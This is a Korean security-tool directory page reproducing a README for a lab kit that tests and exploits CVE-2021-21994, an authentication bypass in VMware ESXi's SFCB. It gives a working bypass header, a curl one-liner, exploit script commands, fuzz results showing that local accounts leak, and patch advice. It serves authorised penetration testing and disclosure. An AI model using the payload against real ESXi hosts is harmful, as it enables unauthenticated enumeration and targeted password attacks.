Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2021-21994_POC — 프로브/퍼즈 하네스를 통해 VMware ESXi SFCB 인증 우회(CVE-2021-21994)를 검증하고 악용하여, 인증되지 않은 CIM-XML 열거를 가능하게 합니다. | Kitploit
도구/GitHubGitHub/mreza-en/cve-2021-21994_poc
Vulnerability AnalysisExploitationInformation GatheringFuzzingPenetration TestingAuthentication
GitHubmreza-en/cve-2021-21994_poc

cve-2021-21994_POC

프로브/퍼즈 하네스를 통해 VMware ESXi SFCB 인증 우회(CVE-2021-21994)를 검증하고 악용하여, 인증되지 않은 CIM-XML 열거를 가능하게 합니다.

저장소 보기
171개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-21994 — VMware ESXi SFCB 인증 우회 — 랩 리서치 키트

필드값
유형CWE-287 부적절한 인증 (인증 우회)
구성 요소VMware ESXi 내부의 SFCB (Small Footprint CIM Broker)
공격 벡터네트워크, TCP 5989 (HTTPS를 통한 CIM-XML), "특수하게 조작된 요청"
영향 범위VMSA-2021-0014(2021년 7월) 이전의 ESXi 6.5 / 6.7 / 7.0
수정VMSA-2021-0014 패치 빌드
공개 PoC없음. VMware는 요청 형태를 공개하지 않음

참고 자료: NVD · VMSA-2021-0014 (Broadcom) · SentinelOne DB

PoC가 존재하지 않으므로, 이 키트는 직접 찾아내는(find-it-yourself) 하네스입니다: sfcb_probe.py는 오라클(check)을 검증한 다음 타겟 변형(mutation) 사전을 /cimom에 던져서(fuzz) 유효한 자격 증명 없이 얻은 CIM 본문이 포함된 200 응답을 플래그합니다.

승인된 평가(engagement) 범위 내에 명시적으로 포함된 자체 랩 VM 또는 대상에만 사용하십시오.

1. 랩 구축 (대상과 일치: ESXi 6.5)

  1. ESXi 6.5 ISO 받기 (2021년 7월 이전 빌드라면 모두 동작하며, 이상적으로는 대상과 동일한 6.5.0 빌드 클래스):
    • Broadcom 지원 포털(무료 계정) → VMware vSphere Hypervisor 6.5 다운로드
    • HPE / Dell "custom ESXi 6.5 image" 다운로드는 해당 지원 사이트에 공개되어 있음
  2. VMware Workstation/Fusion(또는 KVM)의 Nested VM:
    • VM에서 "Virtualize Intel VT-x/EPT" 활성화
    • 2 vCPU, 6 GB RAM, 씬 디스크(thin disk), 설치 프로그램용 E1000 NIC
    • **평가 모드(evaluation mode)**로 설치 — 랩에는 라이선스 키 불필요
  3. CIM 브로커 및 해당 방화벽 규칙셋 활성화 (DCUI → 문제 해결(Troubleshooting) → ESXi Shell/SSH 활성화 후 SSH로):
    /etc/init.d/sfcbd-watchdog status || /etc/init.d/sfcbd-watchdog start
    esxcli network firewall ruleset set --ruleset-id=CIMHttpsServer --enabled=true
    esxcli network firewall ruleset list | grep -i cim
    esxcli network ip connection list | grep 5989   # must LISTEN
    
  4. VM 스냅샷 생성 (재테스트를 위한 깨끗한 상태)

2. 하네스 실행

# establish the oracle first (needs a real local ESXi account, e.g. root)
python3 sfcb_probe.py check 192.168.x.x -u root -P 'lab-password'

# expect: no-auth -> 401, bogus -> 401, valid -> 200
# then fuzz (uses only bogus/no creds, never your real ones):
python3 sfcb_probe.py fuzz 192.168.x.x --dump out/

2b. 발견 사항 (랩 + 대상 ESXi 6.5, 2026-08-15 확인됨)

우회가 발견되었습니다. 근본 원인: Basic 인증 토큰이 :를 포함한 user:password 쌍으로 디코딩되지 않으면 sfcbd가 fail-open(인증 생략 후 접근 허용) 상태가 됩니다.

최소 PoC 헤더 (root의 base64, 콜론 없음):

Authorization: Basic cm9vdA==

퍼즈 실행에서 얻은 증거 매트릭스:

요청 형태상태의미
헤더 없음 / 유효한 user:pass b64 / : / root:401콜론 존재 → 인증 실행 → 거부됨
b64("root") (콜론 없음)200 + CIM 본문콜론 없음 → 인증 건너뜀
b64("\0:\0") (빈 C-문자열)200동일: 콜론 없음
잘못된 base64 (공백 / BOM / Basic 접두사)200디코딩 실패 → 인증 건너뜀
Basic\tTOKEN (탭 구분자)401any-WSP 분할이 정상 동작 → 인증 실행
Basic␣␣TOKEN (이중 공백)200단일 공백 분할 → 토큰이 공백으로 시작 → 디코딩 실패

200 응답에는 CIMOM 내부에서 디스패치된 CIM-XML 인벨로프(예: ERROR CODE="5" Class not found)가 포함되어 있어 HTTP 인증 계층이 통과되었음을 증명합니다 — 잘못된 헤더가 없는 동일한 요청은 401을 반환합니다.

익스플로잇 사용법:

python3 sfcb_exploit.py verify    192.168.x.x          # oracle proof, prints VULNERABLE
python3 sfcb_exploit.py classes   192.168.x.x          # dump class names of a namespace
python3 sfcb_exploit.py instances 192.168.x.x -c CIM_ComputerSystem

보고서 스크린샷용 curl 원라이너:

curl -sk -X POST "https://192.168.x.x:5989/cimom" \
  -H 'Content-Type: application/xml; charset=utf-8' \
  -H 'CIMOperation: MethodCall' -H 'CIMMethod: EnumerateClassNames' \
  -H 'CIMObject: root/cimv2' -H 'Authorization: Basic cm9vdA==' \
  -d '<CIM CIMVERSION="2.0" DTDVERSION="2.0"><MESSAGE ID="1" PROTOCOLVERSION="1.0"><SIMPLEREQ><IMETHODCALL NAME="EnumerateClassNames"><LOCALNAMESPACEPATH><NAMESPACE NAME="root"/><NAMESPACE NAME="cimv2"/></LOCALNAMESPACEPATH></IMETHODCALL></SIMPLEREQ></MESSAGE></CIM>'

영향: CIM 브로커에 대한 인증 없는 읽기 접근:

  • 계정 열거: VMware_Identity 인스턴스가 모든 ESXi 로컬 계정을 유출합니다(랩 6.5에서 관찰됨: vCenter 관리 호스트의 root, dcui, vpxuser 및 사용자 정의 계정). 이를 통해 표적 암호 공격이 가능해집니다.
  • 436개의 노출된 클래스를 통한 전체 호스트/하드웨어 인벤토리 (컴퓨터 시스템, 프로세서, 메모리, 스토리지/데이터스토어, 네트워크 엔드포인트, 펌웨어/BIOS 버전, 센서, 설치된 소프트웨어 식별 정보)
  • 쓰기 경로 없음: RBAC 서비스(VMware_RoleBasedAuthorizationService, CIM_PrivilegeManagementService)는 DMTF 프로파일 메서드(AssignRoles, AssignAccess, ...)를 선언하지만 인스턴스를 노출하지 않습니다 — 메서드는 스키마 전용입니다. 이 CVE로는 CIM을 통한 계정 생성/수정이 불가능하며, 영향의 상한은 인증 없는 정보 공개입니다.

판정:

  • BYPASS-STRONG — 유효한 자격 증명 없이 HTTP 200 + CIM-XML 본문 → 우회를 찾은 것입니다. 덤프된 요청이 바로 익스플로잇 프리미티브입니다.
  • bypass-weak(200-no-cim-body) — 200이지만 CIM 본문 없음, 덤프를 검사하세요.
  • blocked / info(400) — 거부됨. 참고: 400은 일반적으로 요청이 인증 평가 이전에 중단되었음을 의미합니다 — 여전히 흥미로운 결과지만 우회는 아닙니다.

직접 작성한 CIM 본문에 관한 참고 사항: DSP0200에 따라 EnumerateInstanceNames는 ClassName IPARAMVALUE를 요구합니다. 이것이 없는 본문은 인증과 무관한 이유로 거부되어 오라클을 오염시킬 수 있습니다 — 하네스는 항상 스펙에 맞는 본문을 전송합니다.

3. 사전으로 아무것도 찾지 못한 경우의 로드맵

퍼저는 전형적인 HTTP auth-parser(인증 파서) 혼동 형태를 다룹니다. 어느 것도 적중하지 않으면, 남은(그리고 결정적인) 방법은 **바이너리 디핑(binary diffing)**입니다:

  1. 취약한 빌드(예: 6.5.0 GA 클래스)의 esx-base VIB와 VMSA-2021-0014 패치가 적용된 6.5/6.7/7.0 빌드를 VMware 공개 디포(depot) 인덱스에서 가져옵니다: https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml
  2. 두 VIB를 추출하고(ar 아카이브 → vib 페이로드 → cpio), Ghidra + BinDiff로 sfcbd* 바이너리를 디핑합니다.
  3. HTTP 헤더 파싱 / Basic-auth 디코딩 / 인증-공급자 디스패치에 집중하세요. ESXi의 포크가 수정되었더라도, 업스트림 오픈소스 SFCB(SourceForge의 SBLIM sfcb)는 HTTP+인증 코드 경로에 대한 유용한 구조적 참조 자료입니다.
  4. 수정된 코드 경로를 정확한 조작 요청으로 바꾸고, 하네스에 추가한 뒤, 랩 VM에서 검증하세요 — 그것이 진짜 익스플로잇입니다.

4. 보고서 작성을 위한 운영 참고 사항

  • 오라클만으로도(인증 없음 → 401) 보안 강화에 유용한 발견입니다. 5989는 인터넷에서 접근 가능해서는 안 됩니다.
  • 확인된 경우, 수정 방법: VMSA-2021-0014+ 패치 적용(ESXi 6.5는 EOL — 마이그레이션 권장) 또는 5989를 방화벽으로 차단.
도구 다운로드